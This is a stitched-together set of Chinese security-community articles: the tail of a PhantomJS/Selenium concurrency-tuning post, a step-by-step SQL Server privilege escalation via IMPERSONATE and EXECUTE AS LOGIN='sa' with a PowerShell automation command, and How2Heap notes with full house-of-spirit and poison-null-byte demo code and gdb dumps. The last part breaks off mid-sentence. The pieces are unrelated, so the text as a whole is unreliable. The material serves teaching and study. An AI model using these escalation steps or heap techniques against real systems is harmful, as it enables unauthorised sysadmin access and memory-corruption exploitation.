在我使用phantomjs的一段时间内，通过不断调试，我发现phantomjs主要的性能消耗在于phantomjs进程的开启上。因为在python中使用phantomjs，相当于开启并调用phantomjs.exe（windows）执行一些操作，因此如果频繁的开启关闭phantomjs进程，则会非常消耗性能，因此要合理操作开关。
#### 代码测试
单线程访问百度10次：
优化前：
from selenium import webdriver
def phantomjs_req(url):
service_args=[]
service_args.append('--load-images=no')
service_args.append('--disk-cache=yes')
service_args.append('--ignore-ssl-errors=true')
d=webdriver.PhantomJS("D:\python27\Scripts\phantomjs.exe",service_args=service_args)
d.get(url)
print d.current_url
d.quit()
url_list=["http://www.baidu.com"]*10
for i in url_list:
phantomjs_req(i)
测试结果：28.2s，运行过程中,phantomjs进程不断开关。
优化后：
from selenium import webdriver
def phantomjs_req(url):
d.get(url)
print d.current_url
service_args=[]
service_args.append('--load-images=no')
service_args.append('--disk-cache=yes')
service_args.append('--ignore-ssl-errors=true')
d=webdriver.PhantomJS("D:\python27\Scripts\phantomjs.exe",service_args=service_args)
url_list=["http://www.baidu.com"]*10
for i in url_list:
phantomjs_req(i)
d.quit()
测试结果：4.2s
说明：可以看到优化前与优化后代码的区别，在于将phantomjs开启关闭的操作放到了循环外面，使它始终只开关一次。可以看到性能的差别非常大，因此也可以看出phantomjs开关过程非常消耗时间。
_注意：此方法虽然节省了很大的开支，但会引起另外一个phantomjs的Bug（暂且称之为Bug），也就是phantomjs状态覆盖问题。当批量去访问一些网站时，会发现返回的结果与请求的网站不对应。关于此问题，请移步Phantomjs爬过的那些坑。_
### 高级篇（phantomjs并发问题）
通过前面的优化，我们发现phantomjs的性能提高了很多，但即便如此，以上代码也只是实现了单线程中的优化。当遇到大批量的网站时，并发是必须的选择，那么Phantomjs在并发中又改如何使用与优化呢？
#### 优化之路
在优化phantomjs并发性能的问题上，我也并没有一帆风顺，期间查阅了很多资料，也踩过了很多的坑。
##### 不成熟的优化（一）
起初我用了最直接了当的方法，企图开启phantomjs并发的性能。（运行一个phantomjs进程，进程内开启多线程）
d=webdriver.PhantomJS()
def test(url):
d.get(url)
url_list=["http://www.baidu.com"]*10
for url in url_list:
threading.Thread(target=test,args=(url,)).start()
d.quit()
然而运行连连出错，在查看了官网等资料后发现phantomjs是单线程的，因此如果按照上面的写法，那么不能使用多线程同时去执行，此次优化失败！
#### 不成熟的优化（二）
既然一个phantomjs只能支持单线程，那么我就开启多个phantomjs。
def test(url):
d=webdriver.PhantomJS()
d.get(url)
d.quit()
url_list=["http://www.baidu.com"]*10
for url in url_list:
threading.Thread(target=test,args=(url,)).start()
终于我看到同时10个phantomjs进程被开启了，10个网站的请求可以并发执行了。然而当网站的数量为50个时，要同时运行50个phantomjs进程？No，这必定会搞垮服务器，此次优化失败！
#### 不成熟的优化（三）
经过以上2次失败，我开始思考，如何只开启10个phantomjs进程，然后每个phantomjs进程按顺序执行请求网站的操作呢?这样就相当于10个进程并发执行了。
终于在某个夜晚，我想出了以下代码：
def test():
d=webdriver.PhantomJS()
for i in url_list:
d.get(url)
d.quit()
url_list=["http://www.baidu.com"]*50
for i in range(10):
threading.Thread(target=test).start()
成功开启了10个phantomjs进程，每个进程按顺序执行了50个网站的请求。等等，貌似这样设计，每个phantomjs进程都会去访问50次百度，这不是最初的要求，oh，No！
#### 不算成熟但还可以的优化
在第三阶段并发优化的雏形已经出来了，只不过还需要解决一个多线程共享资源的问题，这个可以用Queue模块解决。那么直接看优化后并发的代码：
__author__="nMask"
__Date__="20170224"
__Blog__="http://thief.one"
import Queue
from selenium import webdriver
import threading
import time
class conphantomjs:
phantomjs_max=1 ##同时开启phantomjs个数
jiange=0.00001 ##开启phantomjs间隔
timeout=20 ##设置phantomjs超时时间
path="D:\python27\Scripts\phantomjs.exe" ##phantomjs路径
service_args=['--load-images=no','--disk-cache=yes'] ##参数设置
def __init__(self):
self.q_phantomjs=Queue.Queue() ##存放phantomjs进程队列
def getbody(self,url):
'''
利用phantomjs获取网站源码以及url
'''
d=self.q_phantomjs.get()
try:
d.get(url)
except:
print "Phantomjs Open url Error"
url=d.current_url
self.q_phantomjs.put(d)
print url
def open_phantomjs(self):
'''
多线程开启phantomjs进程
'''
def open_threading():
d=webdriver.PhantomJS(conphantomjs.path,service_args=conphantomjs.service_args)
d.implicitly_wait(conphantomjs.timeout) ##设置超时时间
d.set_page_load_timeout(conphantomjs.timeout) ##设置超时时间
self.q_phantomjs.put(d) #将phantomjs进程存入队列
th=[]
for i in range(conphantomjs.phantomjs_max):
t=threading.Thread(target=open_threading)
th.append(t)
for i in th:
i.start()
time.sleep(conphantomjs.jiange) #设置开启的时间间隔
for i in th:
i.join()
def close_phantomjs(self):
'''
多线程关闭phantomjs对象
'''
th=[]
def close_threading():
d=self.q_phantomjs.get()
d.quit()
for i in range(self.q_phantomjs.qsize()):
t=threading.Thread(target=close_threading)
th.append(t)
for i in th:
i.start()
for i in th:
i.join()
if __name__=="__main__":
'''
用法：
1.实例化类
2.运行open_phantomjs 开启phantomjs进程
3.运行getbody函数，传入url
4.运行close_phantomjs 关闭phantomjs进程
'''
cur=conphantomjs()
conphantomjs.phantomjs_max=10
cur.open_phantomjs()
print "phantomjs num is ",cur.q_phantomjs.qsize()
url_list=["http://www.baidu.com"]*50
th=[]
for i in url_list:
t=threading.Thread(target=cur.getbody,args=(i,))
th.append(t)
for i in th:
i.start()
for i in th:
i.join()
cur.close_phantomjs()
print "phantomjs num is ",cur.q_phantomjs.qsize()
#### 代码测试：
利用单线程优化后的代码访问50次百度：10.3s。
利用10个phantomjs并发访问50次百度：8.1s
说明：并发优化后的代码同时开启了10个phantomjs进程，用于处理50次访问百度的请求。由于一个phantomjs同一时间不能处理2个url，也就是说不支持多线程处理，因此开启10个phantomjs进程就相当于程序的并发数量为10。如果除去开启10个phantomjs耗费的时间，总共执行50次访问的时间也就2s左右，速度快了不少。
### 终极篇
高级篇中解决并发效率，我用的实际上是多进程，无论python同时开启多少个线程去让phantomjs进程执行操作，一个phantomjs进程同时也只能执行一个访问请求。因此并发的数量取决于开启phantomjs的数量，而phantomjs又是以进程的形式去运行的。
既然知道了性能的瓶颈所在，那么终极篇中，我们可以使用分布式+phantomjs多进程并发来提高性能。
### 替代方案
以上的优化方案并不能从根本上解决phantomjs性能问题，更好的替代方案请移步：
[Phantomjs正确打开方式](http://thief.one/2017/03/31/Phantomjs%E6%AD%A3%E7%A1%AE%E6%89%93%E5%BC%80%E6%96%B9%E5%BC%8F/) | 社区文章 |
## 0x01 前提
开发者有时为了满足某种需求，允许其他登录用户模拟高权限的用户，对于开发来说，一个再简单不过的功能。虽然严格意义上这不算个漏洞，但是这种配置不当一般可以用来提权。
## 0x02 复现
#### 1.sa用户登录创建4个用户
-- Create login 1
CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';
-- Create login 2
CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';
-- Create login 3
CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';
-- Create login 4
CREATE LOGIN MyUser4 WITH PASSWORD = 'MyPassword!';
#### 2.赋予用户MyUser1权限来模拟 MyUser2, MyUser3,及sa
USE master;
GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
GO
这里的GRANT IMPERSONATE ON LOGIN意思是授权MyUser1用户对sa,MyUser2,MyUser3用户登录权限，
查看sqlserver的文档
<https://docs.microsoft.com/zh-cn/sql/t-sql/statements/grant-server-principal-permissions-transact-sql?view=sql-server-ver15>
在SQL Server的安全模型中，模拟（IMPERSONATE ）权限的安全对象是User或Login，被授予者（Grantee
）有权限模拟指定用户，在其安全上下文执行特定的操作。
例如，user1授予模拟user2的权限，当user2的安全上下文有足够的权限，而user1没有时，通过权限模拟，user1能够在user2的权限上下文中执行查询请求：
GRANT IMPERSONATE ON USER:: user2 TO user1;
通过执行EXECUTE AS 命令模拟用户的权限，用户user1就运行在user2的安全上下文中，例如，user1在登陆数据库之后，模拟user2的权限：
EXECUTE AS USER = 'user2';
#### 3.查找可以模拟登录的用户
默认情况下，系统管理员可以模拟任何人，但是正常登录必须分配权限来模拟特定的用户，使用MyUser1用户登录，打开新建查询，执行下面语句查询那些用户可以用来模拟登录
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
这里我们可以看到MyUser1用户可以模拟登录sa,MyUser2,MyUser2用户，接下来就是模拟登录sa来获取sysadmin权限了
#### 4.模拟SQL Server用户登陆
-- 验证是否为sysadmin权限
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- 模拟sa登录
EXECUTE AS LOGIN = 'sa'
-- 验证是否为sysadmin权限
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
可以看到，第二个查询之后我们已经是sysadmin的权限了
我们再用查看登录用户来验证下
SELECT * FROM master.sys.sysusers
WHERE islogin = 1
模拟sa登录之前
模拟sa登录之后
权限高了，可以看到更多的用户登录
#### 5.回到原来的登录
REVERT
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
这样我们又回到myuser1用户登录的会话了
## 0x03 工具化
当然这个也可以用powershell一键实现
<https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1>
Invoke-SqlServer-Escalate-ExecuteAs -SqlUser MyUser1 -SqlPass MyPassword! -SqlServerInstance WIN-80LVKKRM5UA
总的来说，利用这个来提权也不算是漏洞，毕竟可能是运维人员想要的正常功能，然后被攻击者利用，达到提权sysadmin的目的。
参考:
<https://www.cnblogs.com/ljhdo/p/5610552.html>
<https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/> | 社区文章 |
# How2Heap堆利用学习笔记（四）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
通过前三篇文章的学习，我们了解了堆利用的基本概念和技术。本篇文章，我们将要了解堆利用中的House技术以及与off by one结合后的利用手法。
House
of系列并不是某种漏洞的大类，而是堆利用的一些技巧，最早在，其适用性取决的当前的漏洞环境，非常考验攻击者对堆管理的熟悉程度，和思维的灵活性。学习这部分切记不可死记硬背，而是需要多思考漏洞产生的原因，多看glibc源代码，也可以为将来分析实际漏洞打基础。
## 0x01 House Of Spirit
House of Spirit技术是一类组合型漏洞，通常需要结合其他漏洞一起作用。
核心原理时通过free一个伪造的chunk，来控制一块我们本来无法读写的位置。关键的部分是在free时，需要控制chunk的size和nextsize的值，而这两个值的位置大概如图所示，
+------------------+
| | size |
+------------------+
| |
| fake chunk |
| |
+------------------+
| |nextsize|
+------------------+
**利用场景**
* **场景1.** 最经典的利用场景便是，利用house of spirit来控制一块不可控的内存空间。
+------------------+
| 可控区域1 |
+------------------+
| 目标区域（不可控， |
| 多为返回地址/函数 |
| 指针等） |
+------------------+
| 可控区域2 |
+------------------+
* **场景2.** 作为一个组合型漏洞，house of spirit同样也可以结合double free来实现一个fastbin_attack。在 off by one漏洞中，创造一个可控的重叠chunk，通过house of spirit在chunk中间free出一个fake chunk。然后因为地址可控，所以对fake chunk实现fastbin attack。
+------------------+<--point1
| big chunk1 |
+------------------+<--point2 <--free
| (fake)chunk2 |
+------------------+
| big chunk1 |
+------------------+
这两种场景，在下文都会给出案例。接下来让我们根据how2heap的代码来学习这个技术的原理。
**原理解析**
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.n");
malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. n");
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %pn", malloc(0x30));
}
使用malloc初始化heap空间。
fprintf(stderr, "Calling malloc() once so that it sets up its memory.n");
malloc(1);
在栈中创建fake chunk（没错，就是在栈中）
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
初始化fake chunk，在构造fake chunk的时候需要绕过两个检查。
定义在_int_free函数中(malloc/malloc.c)
* chunk的大小要大于2*SIZE_SZ系哦啊雨system_mem
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
}
* free的内存大小不能大于fastbin的最大值（128）程序定义了fake_chunk的结构如下,
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
gef➤ x/20xg 0x00007fffffffddb0
0x7fffffffddb0: 0x0000000000000000 0x0000000000000040 (size)
0x7fffffffddc0: 0x0000000000000000 0x000000000000ff00 <--fake chunk
0x7fffffffddd0: 0x0000000000000001 0x00000000004008ed
0x7fffffffdde0: 0x0000000000000000 0x0000000000000000
0x7fffffffddf0: 0x00000000004008a0 0x0000000000001234 (next size)
将这块内存free掉，再次查看fastbin，可以看到栈中的这块区域已经被链入fastbin中。
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.n");
free(a);
gef➤ heap bins fast
─────────────────────[ Fastbins for arena 0x7ffff7dd1b20 ]─────────────────────
Fastbin[0] 0x00
Fastbin[1] 0x00
Fastbin[2] → FreeChunk(addr=0x7fffffffddc0,size=0x40)
Fastbin[3] 0x00
此时只需要申请一个合适大小的chunk，我们就能获取一块在栈中的可控内存。此时的主要目标，自然就可以设定为栈中的ret地址或者函数指针。
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %pn", malloc(0x30));
获取栈中的fake chunk。
malloc(0x30): 0x7fffffffddc0
## 0x02 poison_null_byte
poison_null_byte便是我们常说的off by one，通过在堆中溢出一个字节，构造一个重叠的堆块。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
fprintf(stderr, "Welcome to poison null byte 2.0!n");
fprintf(stderr, "Tested in Ubuntu 14.04 64bit.n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.n");
fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
fprintf(stderr, "We allocate 0x100 bytes for 'a'.n");
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a: %pn", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#xn", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
fprintf(stderr, "b: %pn", b);
c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %pn", c);
barrier = malloc(0x100);
fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.n"
"The barrier is not strictly necessary, but makes things less confusingn", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk
free(b);
fprintf(stderr, "b.size: %#lxn", *b_size_ptr);
fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_usen");
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
fprintf(stderr, "b.size: %#lxn", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
fprintf(stderr, "c.prev_size is %#lxn",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);
fprintf(stderr, "b1: %pn",b1);
fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lxn",*c_prev_size_ptr);
fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lxn",*(((uint64_t*)c)-4));
fprintf(stderr, "We malloc 'b2', our 'victim' chunk.n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x80);
fprintf(stderr, "b2: %pn",b2);
memset(b2,'B',0x80);
fprintf(stderr, "Current b2 content:n%sn",b2);
fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').n");
free(b1);
free(c);
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.n");
d = malloc(0x300);
fprintf(stderr, "d: %pn",d);
fprintf(stderr, "Now 'd' and 'b2' overlap.n");
memset(d,'D',0x300);
fprintf(stderr, "New b2 content:n%sn",b2);
fprintf(stderr, "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.n");
}
首先，为chunk_a申请0x100字节的堆空间。
这里需要注意，用malloc_usable_size获取chunk_a的真实大小。原因是malloc时会自动8位对齐，实际申请的空间应该是略大于0x100.
fprintf(stderr, "We allocate 0x100 bytes for 'a'.n");
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a: %pn", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#xn", real_a_size);
继续申请内存,barrier部分作为隔离chunk_c和top chunk的部分，防止chunk_c被free时被top
chunk合并，这点我们之前也提到过很多次。
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
fprintf(stderr, "b: %pn", b);
c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %pn", c);
barrier = malloc(0x100);
fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.n"
"The barrier is not strictly necessary, but makes things less confusingn", barrier);
为chunk_c写入fake_prev_size，即chunk_b+0x1f0的位置。至于写在这里有什么目的，我们接着往下看。
//*(size_t*)(b+0x1f0) = 0x200;
fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;
**_Off by one_** (a[real_a_size] = 0),将chunk_b(free)的size值替换，原size值的构成为`(0x200
+ 0x10) | prev_in_use`,但是此处将pre inuse改为0，结果为`(0x200) | prev_in_use=0`，这符合Off
by one写入一个0字节后的效果。
好，此时观察chunk_b,读者应该就明白之前为什么要写入fake_prev_size，因为chunk_b的长度变短了，fake_pre_size的位置正好位于变短的chunk_b的pre_size位（严格意义上是chunk_c的pre
size位，但是这个chunk_c并不存在）。即注释中的绕过`chunksize(P) == == prev_size
(next_chunk(P)`的check。
当然，所有操作之前，必须先free chunk_b，因为只有free chunk才需要pre size位，malloc_chunk的pre
size位是data的一部分。
// this technique works by overwriting the size metadata of a free chunk
free(b);
fprintf(stderr, "b.size: %#lxn", *b_size_ptr);
fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_usen");
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
fprintf(stderr, "b.size: %#lxn", *b_size_ptr);
fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
gef➤ x/150xg 0x603000
0x603000: 0x0000000000000000 0x0000000000000111
0x603010: 0x0000000000000000 0x0000000000000000 <--chunk_a
0x603020: 0x0000000000000000 0x0000000000000000
...
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000200 <--size(off by one)[(0x200)|prev_in_use=0]
0x603120: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <--chunk_b(free)
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
...
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x0000000000000200 0x0000000000000000 <-- fake pre_size
0x603320: 0x0000000000000210 0x0000000000000111 <-- real pre_size
0x603330: 0x0000000000000000 0x0000000000000000 <--chunk_c
申请b1，会占位之前chunk_b的空间。
b1 = malloc(0x100);
fprintf(stderr, "b1: %pn",b1);
fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
申请chunk_b2作为我们的victim案例，并将b1 free掉。向chunk b2写入数据（B）。内存状态如图所示。
b2 = malloc(0x80);
fprintf(stderr, "b2: %pn",b2);
memset(b2,'B',0x80);
fprintf(stderr, "Current b2 content:n%sn",b2);
fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').n");
free(b1);
gef➤ x/150xg 0x603000
0x603000: 0x0000000000000000 0x0000000000000111
0x603010: 0x0000000000000000 0x0000000000000000
...
0x603110: 0x0000000000000000 0x0000000000000111
0x603120: 0x00000000006032b0 0x00007ffff7dd1b78 <--chunk_b1(free)
0x603130: 0x0000000000000000 0x0000000000000000
...
0x603210: 0x0000000000000000 0x0000000000000000
0x603220: 0x0000000000000110 0x0000000000000090
0x603230: 0x4242424242424242 0x4242424242424242 <--chunk_b2
0x603240: 0x4242424242424242 0x4242424242424242
0x603250: 0x4242424242424242 0x4242424242424242
0x603260: 0x4242424242424242 0x4242424242424242
0x603270: 0x4242424242424242 0x4242424242424242
0x603280: 0x4242424242424242 0x4242424242424242
0x603290: 0x4242424242424242 0x4242424242424242
0x6032a0: 0x4242424242424242 0x4242424242424242
0x6032b0: 0x0000000000000000 0x0000000000000061
0x6032c0: 0x00007ffff7dd1b78 0x0000000000603110
0x6032d0: 0x0000000000000000 0x0000000000000000
0x6032e0: 0x0000000000000000 0x0000000000000000
0x6032f0: 0x0000000000000000 0x0000000000000000
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x0000000000000060 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110
0x603330: 0x0000000000000000 0x0000000000000000 <--chunk_c
0x603430: 0x0000000000000000 0x0000000000000111
现在我们只需要`free(c)`，程序会将chunk_c和chunk_b1之间的超长空间都free掉。查看unsort
bins，可以看到这个长0x320的chunk。而未被free的chunk_b2以及free_chunk_b3(见图中)都被包含在这个chunk中。
gef➤ x/150xg 0x603000
0x603000: 0x0000000000000000 0x0000000000000111
0x603010: 0x0000000000000000 0x0000000000000000 <--chunk_a
0x603020: 0x0000000000000000 0x0000000000000000
...
0x603110: 0x0000000000000000 0x0000000000000321
0x603120: 0x00000000006032b0 0x00007ffff7dd1b78 <--a long free chunk（pre chunk_b1）
0x603130: 0x0000000000000000 0x0000000000000000
...
0x603220: 0x0000000000000110 0x0000000000000090
0x603230: 0x4242424242424242 0x4242424242424242 <-- chunk_b2
0x603240: 0x4242424242424242 0x4242424242424242
0x603250: 0x4242424242424242 0x4242424242424242
0x603260: 0x4242424242424242 0x4242424242424242
0x603270: 0x4242424242424242 0x4242424242424242
0x603280: 0x4242424242424242 0x4242424242424242
0x603290: 0x4242424242424242 0x4242424242424242
0x6032a0: 0x4242424242424242 0x4242424242424242
0x6032b0: 0x0000000000000000 0x0000000000000061
0x6032c0: 0x00007ffff7dd1b78 0x0000000000603110 <--free_chunk_b3
0x6032d0: 0x0000000000000000 0x0000000000000000
...
0x603310: 0x0000000000000060 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110 <--chunk_c
gef➤ heap bins unsorted
────────────────────[ Unsorted Bin for arena 'main_arena' ]────────────────────
[+] Found base for bin(0): fw=0x603110, bk=0x6032b0
→ FreeChunk(addr=0x603120,size=0x320) → FreeChunk(addr=0x6032c0,size=0x60)
申请这个超大的chunk，通过写入数据便能修改chunk_b2的任意数据。
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.n");
d = malloc(0x300);
fprintf(stderr, "d: %pn",d);
fprintf(stderr, "Now 'd' and 'b2' overlap.n");
memset(d,'D',0x300);
fprintf(stderr, "New b2 content:n%sn",b2);
此时我们能够通过对chunk_d写入数据（D），修改chunk_b2的数据。
b2: 0x15fd230
Current b2 content:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
Finally, we allocate 'd', overlapping 'b2'.
d: 0x15fd120
Now 'd' and 'b2' overlap.
New b2 content:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
poison_null_byte，实际上通过覆盖pre inuse和pre size来伪造一个很长的fake
chunk（当然，how2heap的案例更加隐晦一些，并没有直接覆盖pre size，而是fake了另一个），覆盖其他chunk造成一个类似double
